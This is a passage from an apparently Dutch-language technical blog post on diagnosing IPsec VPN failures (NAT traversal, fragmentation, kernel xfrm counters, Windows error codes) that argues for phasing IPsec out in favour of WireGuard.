NO_PROPOSAL_CHOSEN, INVALID_KE_PAYLOAD NAT gezien, beide kanten naar 4500 geen omschakeling \u0026#8212; proto 50 sterft bij de vertaler IKE_AUTH \u0026#8212; UDP 4500, versleuteld te groot, fragment weg, hertransmissie, time-out IKE_AUTH-antwoord \u0026#8212; CHILD_SA aangemaakt AUTHENTICATION_FAILED \u0026#8212; 13801, 13806 ESP in UDP 4500 \u0026#8212; jouw verkeer TS_UNACCEPTABLE \u0026#8212; up, en er beweegt niets keepalive \u0026#8212; 1 byte per 20 s, voor altijd geen keepalive \u0026#8212; invoer verloopt bij stilte De omschakeling is het scharnier. Erboven is alles UDP 500. Eronder is alles UDP 4500. Gebeurt de omschakeling nooit, dan stop je protocol 50 in een vertaler die niets heeft om te herschrijven, en het komt nooit terug. De groottefout woont op één sport. IKE_AUTH draagt de certificaatketen en is daarmee het enige grote bericht hier. Een vooraf gedeelde sleutel die wel verbindt waar een certificaat dat niet doet, is een verloren fragment, geen slecht certificaat. Aangemaakt is niet hetzelfde als werkend. De child-associatie kan bestaan en toch niets dragen, als de twee kanten het oneens zijn over welk verkeer zij dekt. Elke storing in de rechterkolom wordt bij de client als time-out gemeld, wat het ook werkelijk was. De uitwisseling van het eerste pakket tot de vaste toestand, met de storing die op elke stap woont. De omschakeling van 500 naar 4500 is het scharnier: erboven is alles één poort, eronder een andere, en gebeurt de omschakeling nooit, dan stop je protocol 50 in een vertaler die het niet kan dragen. IKE_AUTH is hier het enige grote bericht, en daarom kan een vooraf gedeelde sleutel verbinden waar een certificaat dat niet doet — dat is een verloren fragment, geen slecht certificaat. Notify Wat het werkelijk betekent Waar je kijkt NO_PROPOSAL_CHOSEN Geen van de aangeboden combinaties van cijfer/integriteit/DH/PRF is de andere kant acceptabel Beide proposal-lijsten; verwacht aan één kant een afgeschaft algoritme INVALID_KE_PAYLOAD Diffie-Hellman-groep komt niet overeen — jij bood één groep aan, hij wil een andere De DH-groep, het eerste in het proposal AUTHENTICATION_FAILED Sleutel, certificaat of identiteit fout — een afwijkende pre-shared key, een verlopen certificaat, of een ID dat de peer niet verwacht De identiteit, niet alleen het geheim TS_UNACCEPTABLE De traffic selectors overlappen niet — je vroeg subnetten te beschermen die de peer niet beschermt De selectorconfiguratie aan beide kanten INVALID_SPI Er kwam een pakket aan voor een association die niet meer bestaat, meestal na een eenzijdige herstart Of één kant hersleuteld is of herstart Junipers handleiding voor fase 2 zegt over de meest voorkomende hetzelfde: “no proposal chosen” betekent dat het apparaat “did not accept any of the IKE Phase 2 proposals that the peer sent”, en de oplossing is een wederzijds acceptabel proposal en geen herhaalde herstart40.\nOp strongSwan de toestand van alles in één commando:\nswanctl --list-sas # what is established, and what it negotiated swanctl --log # the negotiation as it happens Op Cisco show crypto ikev2 sa en show crypto ipsec sa, met debug crypto ikev2 als het niet omhoog komt41. Op Junos show security ike security-associations en show security ipsec security-associations, met de onderhandeling in show log kmd-logs42.\nIs NAT-traversal eigenlijk wel onderhandeld? Dit is de controle die mensen overslaan, en hij verklaart een groot deel van “vanaf kantoor werkt het en van thuis niet”.\nElke kant stuurt hashes van de adressen en poorten waarvan hij denkt dat ze in het spel zijn. Komt de hash die de andere kant uit het ontvangen pakket berekent niet overeen met die jij stuurde, dan zit er een vertaler tussen, en gaan beide kanten over op UDP 4500. Faalt de detectie — één kant heeft traversal uit staan, of iets in het midden verminkt de uitwisseling — dan gaan beide kanten verder met kaal ESP, dat de vertaler niet overleeft.\nDus: zie poort 4500 in de opname, uit beide richtingen, of er vindt geen traversal plaats. Neem het woord van de console er niet voor aan.\nControleer daarna of de keepalive echt loopt en of het interval korter is dan waarop je carrier mappings laat verouderen. De standaard is twintig seconden6; de ondergrens van de standaard voor NAT-beheerders is twee minuten9; wat jouw specifieke carrier doet, zie je niet. Sterft de tunnel na inactiviteit en leeft hij op bij verkeer, dan is dit het elke keer.\nDe kerneltellers die bijna niemand leest Onder Linux houdt de transformatielaag een volledige uitsplitsing van fouten bij, en dat is de snelste manier om van “het werkt niet” een concrete oorzaak te maken. De tellers zijn door de kernel zelf gedocumenteerd43.\ncat /proc/net/xfrm_stat # error counters, by cause ip -s xfrm state # per-SA packet and byte counters ip xfrm policy # what should be protected, and in which direction Het leest beter als pad dan als lijst. Het pakket gaat door vijf stadia, en elk daarvan heeft zijn eigen teller:\nVijf stadia, en de teller die noemt waar je pakket stierf Volg één pakket, en laat de teller het stadium noemen waar het stierf Jouw policy wordt dit verkeer beschermd? XfrmOutPolBlock je gooit het zelf weg, met opzet, in beleid Jouw associatie versleutelen, verzegelen, nummeren XfrmOutNoStates beleid matchte, geen associatie om het te dragen Het pad vertaler, MTU, filters niets hoogt op, aan geen van beide kanten hier wonen NAT, MTU en filtering, en geen enkele teller ziet er iets van Hun associatie bestemming + protocol + SPI XfrmInNoStates \u0026#183; XfrmInStateProtoError \u0026#183; XfrmInStateSeqError het kwam aan en de cryptografie kwam niet uit: verkeerde SPI, verkeerde sleutel, buiten venster Hun policy hoorde dit beschermd te zijn? XfrmInTmplMismatch \u0026#183; XfrmInNoPols de cryptografie was goed, het beleid was het oneens dat het zo hoorde Stadium drie is het stadium zonder teller. Alles wat een kwart eeuw vertaling dit protocol heeft aangedaan gebeurt daar, en de transformatielaag ziet er aan geen van beide kanten één pakket van. Dat is precies waarom een capture vóór een console komt. Stadium vier en vijf zijn tegengestelde storingen. Vier betekent dat de cryptografie niet uitkwam. Vijf betekent dat die wel uitkwam, en iets het oneens was of het zo hoorde. Ze worden bijna altijd in de verkeerde volgorde bekeken, want vijf lijkt een cryptostoring en is dat niet. De tellernamen zijn die van Linux. Op Junos lees je dezelfde stadia uit show security ipsec statistics; op het Fisher-Price OS (Windows) uit Get-NetIPsecQuickModeSA en het logboek van Windows Firewall met geavanceerde beveiliging. Vijf stadia, en de teller die noemt waar je pakket stierf. Stadium drie is het enige zonder enige teller — de vertaler, de MTU en elk filter ertussen wonen daar, en de transformatielaag ziet er aan geen van beide kanten één pakket van. Dat is het hele argument om eerst een capture te pakken en pas daarna een console. Stadium vier en vijf zijn tegengestelde storingen en worden bijna altijd in de verkeerde volgorde bekeken. Kijk welke beweegt terwijl de storing optreedt:\nTeller Beschrijving van de kernel Wat het op de dag zelf betekent XfrmInNoStates “No state is found i.e. Either inbound SPI, address, or IPsec protocol at SA is wrong” Hun pakketten komen aan voor een association die jij niet hebt — meestal een eenzijdig hersleutelen of een herstart XfrmInStateSeqError “Sequence error i.e. Sequence number is out of window” Herschikking of gedoe met het replayvenster; zie het QoS-samenspel hierboven XfrmInStateProtoError “Transformation protocol specific error e.g. SA key is wrong” De sleutels lopen uiteen — de association overleefde een hersleuteling aan slechts één kant XfrmInTmplMismatch “No matching template for states e.g. Inbound SAs are correct but SP rule is wrong” De association klopt en het beleid niet XfrmInNoPols “No policy is found for states e.g. Inbound SAs are correct but no SP is found” Er komt beschermd verkeer aan waarvan niemand om bescherming vroeg XfrmOutPolBlock “Policy discards” Je gooit het zelf weg, met opzet, in het beleid XfrmOutNoStates “No state is found” Verkeer trof beleid zonder association om het te dragen — de tunnel kwam nooit op XfrmInTmplMismatch en XfrmInNoPols zijn de twee die je op het zicht moet kennen, want beide betekenen dat de cryptografie klopt en het beleid niet, en dat is het tegenovergestelde van waar iedereen het eerst kijkt.\nHet zegt “up” en er beweegt niets Beide kanten opgezet, geen verkeer. Lees de tellers per association in beide richtingen:\nip -s xfrm state Uitgaande bytes stijgen, inkomende vlak — je versleutelt en verstuurt, en er komt niets terug. Of jouw ESP bereikt hen niet, of dat van hen bereikt jou niet. Vraag de andere kant om hun uitgaande teller; stijgt die ook, dan sterven de pakketten onderweg en is de volgende vraag waar, en dat is een TTL-vraag en geen cryptovraag. Beide vlak — er wordt niets aan de tunnel aangeboden. Routering of beleid, geen IPsec. Bij route-based: controleer of de route echt naar de tunnelinterface wijst; bij policy-based: controleer de selectors. Beide stijgen, applicaties nog steeds stuk — het is de tunnel niet. Ga kijken wat er aan de overkant staat. Junipers advies voor dit geval volgt hetzelfde instinct in hun taal: stijgt alleen de uitgaande pakketteller van de sessie, bevestig dan bij de peer of het verkeer überhaupt ontvangen wordt44.\nKleine dingen werken, grote blijven hangen MTU. Het is altijd MTU. De test duurt tien seconden:\nping -M do -s 1400 10.0.0.1 # inside the tunnel, do-not-fragment set ping -M do -s 1300 10.0.0.1 # step down until it succeeds Waar het begint te lukken vertelt je de werkelijk bruikbare grootte. Laat TCP het daarna zelf uitzoeken door de aangekondigde segmentgrootte op het pad te klemmen in plaats van te hopen dat elke ICMP-fout de reis overleeft:\nnft add rule inet filter forward tcp flags syn tcp option maxseg size set rt mtu En los ook de onderliggende oorzaak op, en dat is bijna altijd een te brede ICMP-regel aan een grens ergens. Gooi echo weg als je wilt. Ik heb elders betoogd dat het dat verdient. Maar hou Fragmentation Needed en Packet Too Big. Die zijn het mechanisme, geen vriendelijkheid.\nHet valt op de klok uit Klok de storingen. Het interval benoemt de oorzaak vanzelf.\nEen vaste periode die overeenkomt met een ingestelde lifetime — hersleutelen. De association verloopt en de vervangende onderhandeling faalt of loopt in een race. Controleer de lifetimes aan beide kanten; afwijkende waarden zijn normaal en prima, maar een harde lifetime aan de ene kant die korter is dan de zachte van de andere levert precies dit op. Na een periode zonder verkeer, terug bij het eerste gebruik — een NAT-mapping is verlopen. Keepalive-interval, of het ontbreken ervan. Dead peer detection breekt hem af terwijl de verbinding in orde is — de sondes gaan verloren in plaats van dat de peer dood is, vaak omdat de sondes het enige verkeer zijn en de mapping allang weg is. De tweede gebruiker gooit de eerste eruit Twee peers bereiken de concentrator vanaf één adres en authenticeren zich als dezelfde identiteit. De gateway heeft de keuze tussen de oude association behouden en vervangen, en een gangbare standaard is vervangen. De tweede verbinding wint dus en de eerste sterft in stilte.\nGeef elke peer een werkelijk unieke identiteit in plaats van een adres of een gedeelde naam, en stel de gateway zo in dat hij meerdere associations vanaf één adres behoudt in plaats van er één per peer aan te nemen. Test het dan op de enige manier die telt: twee clients, één adres, tegelijk. Heeft je acceptatietest nooit twee gebruikers achter één NAT gehad, dan heb je juist het geval niet getest waar de meeste van je gebruikers in zitten.\nDezelfde storingen, op het Fisher-Price OS (Windows) Elke controle hierboven draait vanaf een Unix-machine, en als je er een in dat netwerk hebt, gebruik hem dan, want hij vertelt je sneller de waarheid en het kan hem niets schelen wat er aan de andere kant draait. Maar een hoop lezers hebben een client die niet verbindt, een besturingssysteem dat de machine bewust voor hen verbergt, en verder niets om naar te kijken. Dus hier dezelfde methode nog eens, in dezelfde volgorde, met het gereedschap dat dat systeem werkelijk meelevert.\nKijk naar de lijn. Er is geen tcpdump, maar er is een capture. Start hem verhoogd, reproduceer de storing, stop hem:\nnetsh wfp capture start cab=on file=ipsec netsh wfp capture stop Dat schrijft een .cab. Daarin zit het spoor van wat het filterplatform en de sleuteluitwisseling werkelijk deden terwijl het misging, en dat is meer dan een van beide consoles wil toegeven. Voor live meekijken in plaats van een archief schrijft dezelfde commandofamilie met file=- naar de console: netsh wfp show state “Displays the current state of WFP and IPsec”, en netsh wfp show ikeevents “Displays recent Internet Key Exchange (IKE) epoch events matching the specified parameters”, gefilterd op één peer45.\nnetsh wfp show state file=- netsh wfp show ikeevents remoteaddr=203.0.113.5 file=- show ikeevents is hier het dichtst bij het uitwisselingslogboek dat elke andere stack ongevraagd schrijft. Goed om te weten dat het er is. Anders geeft de interface je een getal van drie cijfers en verder niets, en zit je een sleuteluitwisseling te diagnosticeren op gevoel.\nLees de associaties, en lees ze allebei. De tegenhangers van ip -s xfrm state en swanctl --list-sas zijn twee cmdlets, en de scheiding daartussen is de hele diagnose:\nGet-NetIPsecMainModeSA Get-NetIPsecQuickModeSA Main mode is de sleuteluitwisseling. Quick mode draagt de pakketten. Microsoft zegt het verband gewoon hardop: “There is only one main mode SA between a pair of computers, but there can be many quick mode SAs”46. Main mode aanwezig met quick mode leeg is dus dezelfde storing als een staande IKE_SA zonder CHILD_SA eronder, en het betekent hetzelfde: de twee kanten werden het eens over hoe ze praten en vervolgens niet over wat er beschermd wordt. Kijk naar de traffic selectors, niet naar de algoritmen.\nLees de logboeken, op de twee plekken waar ze zich verstoppen. Storingen op verbindingsniveau landen in het Toepassingenlogboek onder de bron RasClient, en Microsofts eigen opmerking over het lezen ervan is het nuttige deel: “All error messages return the error code at the end of the message”47. Dat getal is de diagnose, en de volgende sectie zegt wat de getallen betekenen. Beleids- en filterbeslissingen landen ergens heel anders, onder Logboeken van toepassingen en services, in de kanalen van Windows Firewall met geavanceerde beveiliging. Twee logboeken, twee teams, één storing.\nVerzamel het netjes als je moet escaleren. Het ondersteunde pakket is TSS — TSS.ps1 -Scenario NET_VPN op de client, TSS.ps1 -Scenario NET_RAS op de server, gestart voordat je de storing reproduceert en daarna gestopt48. Leer het voordat iemand erom vraagt.\nAls hij op Verbinden blijft staan en dan afloopt Dit is de storing die de tickets vult, en het woord in de fout is een leugen. Begin met het benoemen van de code. De code is precies, ook als het bericht nergens op slaat.\nEen verbindings-time-out is een van drie dingen, en geen daarvan is een klok Wat de client een time-out noemt, en wat het werkelijk was De client zegt: tijd verlopen 809, 718, 828, 930, 638 \u0026#8212; vijf codes, één woord, en geen daarvan is een klok Het is een van drie dingen, en één test zegt je welk Er kwam niets aan het geval stilte Test: capture bij de client \u0026#8212; vertrekt UDP 500 en komt er niets terug? Filtering in het pad, of NAT-traversal nooit onderhandeld, dus 4500 is nooit verstuurd. Kwam aan, te groot het geval fragment Test: verbindt een vooraf gedeelde sleutel waar een certificaat dat niet doet? IKE_AUTH draagt de keten, fragmenteert daardoor, en het fragment wordt in het pad weggegooid. Nooit de tunnel het geval verkeerde laag Test: logt de gateway op dezelfde seconde een authenticatiefout? 930 is RADIUS. 812 is de authenticatiemethode. 13801 en 13806 zijn certificaten. Geen van de drie is een timer. De time-out verlengen is het enige waartoe de interface je uitnodigt, en het enige dat er nog nooit een van heeft opgelost. Het woord staat er omdat de meldende laag niet ver genoeg ziet om meer te zeggen. Test in die volgorde. De eerste kost dertig seconden capture, de tweede één verbindingspoging, de derde een logboek. Vijf foutcodes dragen het woord timeout en geen ervan is een klok. Het is een van drie dingen, en één test scheidt ze: een capture zegt of er überhaupt iets terugkwam, één verbindingspoging met een vooraf gedeelde sleutel zegt of de certificaatuitwisseling simpelweg te groot was om aan te komen, en het logboek van de gateway zegt of de tunnel ooit het probleem was. Test in die volgorde, want dat is ook de volgorde van wat ze kosten. Code Naam in raserror.h Wat er werkelijk gebeurde 809 ERROR_VPN_TIMEOUT Er kwam helemaal niets terug. De door Microsoft genoemde oorzaak: “the UDP 500 or 4500 ports on the VPN server or firewall are blocked”47 — maar blocked dekt drie verschillende dingen en maar één daarvan is een verbodsregel. Meestal is 4500 nooit verstuurd, omdat NAT-traversal nooit onderhandeld is, of staat de helper die het vroeger droeg uit. Lees verder voordat je om een firewallwijziging vraagt 789 ERROR_OAKLEY_GENERAL_PROCESSING “The L2TP connection attempt failed because the security layer encountered a processing error during initial negotiations” — de inloggegevens of de certificaten, niet het netwerk 718 ERROR_PPP_TIMEOUT Het IPsec-deel werkte. PPP in de L2TP-tunnel kreeg geen antwoord 828 ERROR_IDLE_TIMEOUT “The connection was terminated because of idle timeout” — een instelling aan de serverkant, met opzet 930 ERROR_AUTH_SERVER_TIMEOUT RADIUS antwoordde niet op tijd. Heeft niets met IPsec te maken 638 ERROR_REQUEST_TIMEOUT De algemene. Behandel hem als geen informatie en ga naar de lijn Elk daarvan komt uit Microsofts eigen foutenlijst49. Lees 809 nu nog eens. Hij heet ERROR_VPN_TIMEOUT, en de gedocumenteerde oorzaak is een geblokkeerde poort. De client loopt niet af omdat de overkant traag is. Hij loopt af omdat de overkant stil is, en stilte is de enige storingsvorm die een protocol zonder poorten en zonder zichtbare handshake kan melden.\nWees wel voorzichtig met het woord blocked, want het draagt meer dan het aankan. Drie verschillende dingen dragen het, en maar één daarvan is een verbodsregel.\nEr heeft nooit iemand 4500 gestuurd. NAT-traversal is niet onderhandeld, dus de client bleef ESP spreken, en ESP geeft een vertaler niets om te herschrijven. De standaardinstelling van dat platform is op zichzelf al genoeg reden: zonder de registerwaarde vormt het helemaal geen NAT-T-associatie met een server achter een vertaler31. 4500 is dus niet geblokkeerd. Het is nooit geprobeerd.\nDe helper die dat vroeger wegpoetste, staat uit. Firewalls en thuisrouters dragen helpers per protocol — IPsec passthrough op consumentenapparatuur, en de hele familie application-layer gateways erachter — die een protocol lezen dat NAT niet aankan en het pad terug ervoor openzetten. Op Linux is de automatische vorm daarvan vanaf kernel 4.7 standaard uitgezet “for security reasons”, met sindsdien het advies om een helper bewust met een regel aan te hangen of helemaal niet; onder de gedekte helpers zit die voor PPTP50.\nEn ze uitzetten was de juiste keuze. Een helper is een stuk van je firewall dat een payload leest en daarna op grond van wat het las een gat slaat. NAT Slipstreaming is de rekening daarvoor: een browser die een pagina bezoekt, verkeer zo gevormd dat de SIP- of H.323-helper van de router het als een gesprek leest, en een gat door de NAT — in de versie van 2021 naar elk intern adres, niet alleen naar de machine die de pagina laadde51. Helpers uitzetten sluit dat. Het legt ook je IPsec stil. Allebei waar tegelijk, en het tweede is geen argument om het eerste terug te draaien.\nWat opnieuw deze post in het klein is. Het protocol werkte alleen omdat kastjes in het midden verkeer lazen dat hen niet aanging en namens dat protocol gaten openzetten, en de branche heeft het afgelopen decennium volkomen terecht besloten daarmee te stoppen.\nWerk de oorzaken dus in deze volgorde af, het goedkoopste eerst.\nEén: er komt niets terug. Capture aan de clientkant, of vraag het de gateway. Gaat UDP 500 eruit en komt er niets terug, dan is het filtering of bereikbaarheid, en geen enkele timer lost dat op. Gaat 500 beide kanten op en verschijnt 4500 nooit, dan is NAT-traversal niet onderhandeld. En zit een van beide kanten achter een vertaler, dan ben je terug bij de registerwaarde van eerder in deze post: AssumeUDPEncapsulationContextOnSendRule, 1 of 2, op beide machines, daarna opnieuw opstarten31. Zonder die waarde weigert de client bij ontwerp, en meldt dat als een time-out.\nTwee: het antwoord is te groot om aan te komen. Deze kost hele middagen. Certificaatauthenticatie maakt de tweede uitwisseling groot, want die draagt een keten, en een grote uitwisseling fragmenteert. De fragmenten worden weggegooid door dezelfde tussenkastjes als al het andere in deze post, de client verstuurt opnieuw in hetzelfde gat, en dan geeft hij het op en zegt time-out. Het teken is op zichzelf al de diagnose: een vooraf gedeelde sleutel verbindt wel en een certificaat niet. Dat is geen certificaatstoring. Dat is een groottestoring, want de uitwisseling met een vooraf gedeelde sleutel is klein genoeg om te passen. Gestandaardiseerde IKEv2-fragmentatie bestaat precies hiervoor23, en strongSwan legt vast wanneer dit platform het kreeg: “IKEv2 fragmentation is supported since the v1803 release of Windows 10 and Windows Server”33. Iets ouders, of een gateway met fragmentatie uit, en je vertrouwt op een pad dat een gefragmenteerd UDP-datagram draagt. Een hoop paden doen dat niet.\nDrie: hij verbindt en valt dan op de klok uit. Klok het. Sterft hij na een vaste periode zonder verkeer, dan is dat 828 en is het configuratie, geen storing — -IdleDisconnectSeconds op de server, met -SALifeTimeSeconds, -MMSALifeTimeSeconds en -SADataSizeForRenegotiationKilobytes als de drie andere klokken die een sessie kunnen beëindigen52. Die laatste beëindigt hem op volume in plaats van op tijd, en daarom kan een sessie betrouwbaar sterven tijdens een grote bestandskopie en nooit tijdens een dag e-mail. En sterft hij bij het hersleutelen met de client achter NAT, dan is dat de gedocumenteerde interop-storing van eerder: de client weigert een door de server gestart hersleutelen met Microsoft-fout 13863, en het antwoord aan de gatewaykant is ermee ophouden en de client het laten doen33.\nVier: het is de tunnel helemaal niet. 930 is RADIUS. 812 is een authenticatiemethode die de server niet accepteerde47. 13801 en 13806 zijn certificaten — verkeerd uitgebreid sleutelgebruik, verlopen, ontbrekende root, of een servernaam die niet bij het onderwerp van het certificaat past47. De tunnelonderhandeling was in alle vier de gevallen in orde, en als je de middag aan algoritmen besteedt vind je er geen enkele van.\nDit is wat je uit die tabel mee moet nemen. Zes foutcodes, vijf ervan met het woord timeout in de naam, en geen enkele is werkelijk een time-out. Het zijn een geblokkeerde poort, een verloren fragment, een beleidsbeslissing en een RADIUS-server, allemaal met hetzelfde woord om, want de laag die de storing meldt ziet te weinig van wat er gebeurde om iets nuttigers te zeggen. De timer verlengen lost er geen een op, en de timer verlengen is precies waar de interface je toe uitnodigt.\nWat je in plaats daarvan moet draaien Ik ga niet doen alsof de vervanger exotisch is. Hij zit in de kernel en dat al jaren.\nWireGuard is één UDP-poort, één sleutel per peer, geen onderhandeling over cijfers en helemaal geen protocolwendbaarheid. Het standpunt van de auteur daarover is bewust en uitgesproken: “It intentionally lacks cipher and protocol agility. If holes are found in the underlying primitives, all endpoints will be required to update. As shown by the continuing torrent of SSL/TLS vulnerabilities, cipher agility increases complexity monumentally.”53 Die ene beslissing schrapt NO_PROPOSAL_CHOSEN, INVALID_KE_PAYLOAD, downgrade-aanvallen en de bevinding van Logjam in één keer, want er valt niets te onderhandelen en niets te verlagen.\nHet is ook eerlijk over de prijs, en ik ook: geen wendbaarheid betekent dat je op de dag dat een primitief valt de hele vloot bijwerkt in plaats van één configuratieregel om te zetten. Dat zijn echte beheerkosten en het zijn de juiste om te betalen.\nDe rest sluit bijna punt voor punt aan op de lijst hierboven. Een UDP-poort hebben betekent dat NAT en CGNAT het als elke andere stroom behandelen, en dat ECMP en link aggregation het als elke andere stroom hashen. Roaming is ingebouwd in plaats van erop geschroefd — een geauthenticeerd pakket van een nieuw adres verplaatst het eindpunt van de peer, dus een telefoon die van wifi naar mobiel gaat onderhandelt niets opnieuw. Op een niet-geauthenticeerd pakket antwoordt het niets, dus een scanner vindt een gesloten poort waar IPsec hem een concentrator zou bieden om mee te praten. En het past in minder dan 4.000 regels code53, tegenover een stapel die een heel document nodig heeft om zijn zestien onverenigbaarheden met één tussendoos op te sommen.\nQua prestaties mat het simpelweg sneller dan beide IPsec-configuraties waartegen het getest werd: 1.011 Mbit/s tegen 881 en 825, met lagere latentie53. Ik zou een protocol niet uitfaseren op grond van een benchmark. Ik noem het omdat het laatste argument dat voor IPsec overblijft meestal prestaties is, en dat klopt ook niet.\nOm een persoon bij een applicatie te krijgen — in plaats van een netwerk bij een netwerk — is het antwoord helemaal geen tunnel. Identiteit aan de voordeur, de applicatie daardoorheen gepubliceerd, niets gerouteerd. Dat heb ik met Proxmox en Cloudflare Access uitgebouwd in Zero-Trust-VDI zonder de cloudrekening, en het relevante punt hier is dat wie drie interne applicaties nodig heeft geen route naar je hele park nodig heeft.\nEn zeg het stille deel hardop over hardware. Ja, er zijn netwerkkaarten en ASIC\u0026rsquo;s met ESP-offload, en dat is een echt argument voor IPsec op specifieke apparatuur bij specifieke snelheden. Het is een argument over silicium dat iemand je al verkocht heeft, niet over de juistheid van het protocol. Als zodanig veroudert het, en snel. PPTP heeft precies zo overleefd, precies zolang als het vinkje bestond.\nHet netjes uitfaseren Uitfaseren is een plan met datums, geen gevoel. Dit is het plan waar ik mijn naam aan zou verbinden.\nStop nu met nieuwe IPsec-uitrollen. Niet “alternatieven verkiezen”. Stoppen. Elke nieuwe tunnel is een tunnel die iemand later moet migreren, en die vandaag gebouwd worden draaien in 2035 nog steeds als niemand deze week nee zegt.\nDoe toegang op afstand eerst, want daar komt elke storing uit deze post het hardst aan: het CGNAT, het gedeelde adres, de keepalives, de tweede gebruiker in hetzelfde huis, het MTU-gat op een willekeurig hotelnetwerk. Het is ook het makkelijkst te verplaatsen, want de eindpunten worden beheerd en de wijziging is een client.\nDaarna site-to-site over het publieke internet, dezelfde problemen met minder eindpunten en een onderhoudsvenster.\nBewaar voor het laatst de tunnels waarvan je niet beide kanten bezit: een partner, een toezichthouder, de managed service van een carrier. Die bewegen als het contract beweegt, en hoe je ze in beweging krijgt staat in het volgende punt.\nKoop geen apparatuur meer waarvan de enige tunnel IPsec is. Zet het in de aanbesteding. Een regel die om een moderne, poortgebaseerde, roamingvaste tunnel vraagt, is een regel die een leverancier beantwoordt of niet, en zo verliest het argument van de geïnstalleerde basis uiteindelijk. Dat argument is het enige dat dit alles in leven houdt, en het wordt alleen door inkoop verslagen.\nSchrijf op welke tunnels er over zijn en waarom, en zet op elk een datum. Een protocol waar tien jaar niemand van was, is hoe PPTP tot 2026 gekomen is. Een inventarisatie met datums is het verschil tussen iets uitfaseren en het alleen maar niet leuk vinden.\nAls je het nog steeds uitrolt, mag je jezelf dan IT-professional noemen? Dat is een echte vraag, en ik ga hem eerlijk beantwoorden, want het is de vraag waar de rest van deze post naartoe loopt.\nHet hangt af van of je het weet. En weten overkomt je niet. Zorgen dat je het weet, is het werk.\nAls je dit jaar een nieuwe IPsec-toegang op afstand neerzet en je kunt niet uit je hoofd zeggen waarom ESP geen poorten heeft, wat een woonlijn achter carrier-grade NAT ermee doet, waarom een NAT64-netwerk het helemaal niet draagt, of waar dat ene byte per twintig seconden eigenlijk voor is — dan nee. Hierin niet, nog niet. Je kiest geen protocol. Je herhaalt een vorm, want de vorige zag er zo uit en niemand in de kamer vroeg waarom — jij ook niet. Het falen is niet het gat. Iedereen heeft gaten. Het falen is bouwen over een gat dat je nooit bent gaan dichten. Als zodanig krijgt degene die het in 2035 erft een decennium aan tickets die allemaal te vermijden waren op de dag dat jij het tekende.\nEn ik geef het de juiste naam, want de beleefde versie gaat al twintig jaar rond en heeft niets veranderd. Wie een protocol uitrolt dat hij niet kan uitleggen, is geen engineer. Die is een volger. Die leest kaartjes voor — de referentiearchitectuur van de leverancier, het laatste wijzigingsverzoek, een tekening die iemand in 2014 maakte en die sindsdien niemand heeft geopend — en leest ze voor met echte overtuiging, en achter het optreden zit geen begrip. Van buiten ziet dat er precies uit als vakmanschap. Het blijft er ook precies uitzien als vakmanschap, tot de eerste storing die de kaartjes niet dekken, en vanaf dat moment is het het enige in de kamer dat ertoe doet.\nDe kaartjes zijn ook de reden dat dit protocol er nog is. Niemand stond in 2026 bij een whiteboard IPsec inhoudelijk te verdedigen. Het werd opnieuw uitgerold omdat het op het kaartje stond, en het kaartje is geschreven door een leverancier wiens belang is dat je de doos blijft kopen die het termineert. Zo overleeft iets zijn eigen overlijdensbericht met twintig jaar — niet door verdedigd te worden, maar door zich nooit één keer te hoeven verantwoorden in een kamer waar iemand het verschil zou merken.\nEn dit wordt hardop gezegd. In de kamer, op het moment zelf — niet achteraf op de gang gemompeld. Wie het woord professional naast zijn naam zet, krijgt met dat woord de uitnodiging om bevraagd te worden, en vragen is niet onbeleefd. Bevraagd worden en een antwoord hebben is het hele verschil tussen het woord en een visitekaartje.\nHet telt het zwaarst als je ervoor betaalt. Een adviesbureau, een MSP, de professional-services-tak van een leverancier, de integrator op het raamcontract — wat je koopt is oordeelsvermogen, en oordeelsvermogen is het enige dat je bij levering niet kunt keuren. Keur het dus vooraf. Vraag waarom dit protocol en niet een ander. Vraag wat ermee gebeurt op een lijn achter carrier-grade NAT, op een IPv6-only mobiel netwerk, op een pad dat stilletjes fragmenten weggooit. Vraag welke daarvan ze zelf hebben meegemaakt en wat ze toen deden. Je weet binnen twee minuten of je iets verteld krijgt of wordt voorgelezen, en twee minuten is een flink goedkopere test dan vier jaar tickets. En als het antwoord uit kaartjes bestaat en je tekent toch, dan is dat ook een besluit — het is alleen net van hen naar jou verhuisd.\nKun je dat allemaal wél zeggen en rol je het toch uit omdat een toezichthouder het bij naam voorschrijft, omdat de apparatuur van de partner niets anders termineert, of omdat de vervanger in het budget van volgend jaar staat en dit in maart moet werken — dan ja, uiteraard, en dan doe je je werk goed. Randvoorwaarden zijn echt, en ik heb om ergere heen gebouwd. Wat de twee scheidt is niet het protocol op de tekening. Het is of je hebt opgeschreven waarom, en of er een datum naast staat.\nDe onverdedigbare positie is de middelste. Genoeg weten om er ongemakkelijk van te worden, en het toch bouwen omdat niemand je dwong het te verantwoorden. Geen engineering. Gewoonte, met een wijzigingsnummer erop — en precies zo belandde L2TP op een datasheet die dit jaar gedrukt is.\nStel jezelf die vraag dus vóór de aanbesteding sluit, niet erna. Professional is geen woord over welke protocollen je kent. Het is een woord over of je het gekozen protocol hardop kunt verdedigen, tegenover iemand die de storingsvormen kent. Kun je dat, rol dan uit wat de randvoorwaarden eisen en slaap prima. Kun je dat niet, dan heb je net gevonden wat je vanavond gaat lezen, en dat is geen belediging. Iedereen was ooit een volger, zonder uitzondering, ik ook. Wat niet te verdedigen is, is ervoor kiezen er een te blijven en dat een loopbaan noemen.\nEen goed idee mag ook voorbij zijn Ik wil recht doen aan IPsec, want dat verdient het.\nHet was het juiste instinct. Beveiliging hoort laag in de stapel, waar alles het erft en geen enkele applicatie vertrouwd hoeft te worden om het goed te doen. De association aan het adres binden was in 1995 geen fout — het adres was de machine, en daarop bouwen was juist. De mensen die het schreven waren serieuze mensen met een echt probleem, en uitgerekend het WireGuard-artikel zegt het het best: de gelaagdheid van IPsec is deugdelijk, alles zit op de juiste plek, tot academische perfectie toe53.\nEn toen bewoog de grond. Niet omdat IPsec iets fout deed, maar omdat deze branche besloot dat adressen een te beheren kostenpost waren in plaats van iets dat elke machine krijgt, en vijfentwintig jaar vertaling bouwde om het alternatief te ontlopen. IPsec werd stilletjes het fundament ontnomen, en in plaats van dat toe te geven hebben we ondersteund. UDP-encapsulatie. Toen keepalives. Toen TCP-encapsulatie voor de netwerken die UDP blokkeren. Toen nog een UDP-header zodat een router iets vindt om op te hashen. Elke oplossing op zich redelijk; de stapel ervan is een protocol dat overeind wordt gehouden door mensen die betaald worden om het overeind te houden.\nDat is het deel dat woede verdient, en het gaat eigenlijk helemaal niet over IPsec. Onze branche is heel goed in dingen onderhouden en heel slecht in ze beëindigen. Onderhoud is factureerbaar, begroot, bemenst en veilig. Uitfaseren is een beslissing die iemand moet tekenen, met zijn naam eronder, en zonder directe beloning. Dus leefde PPTP 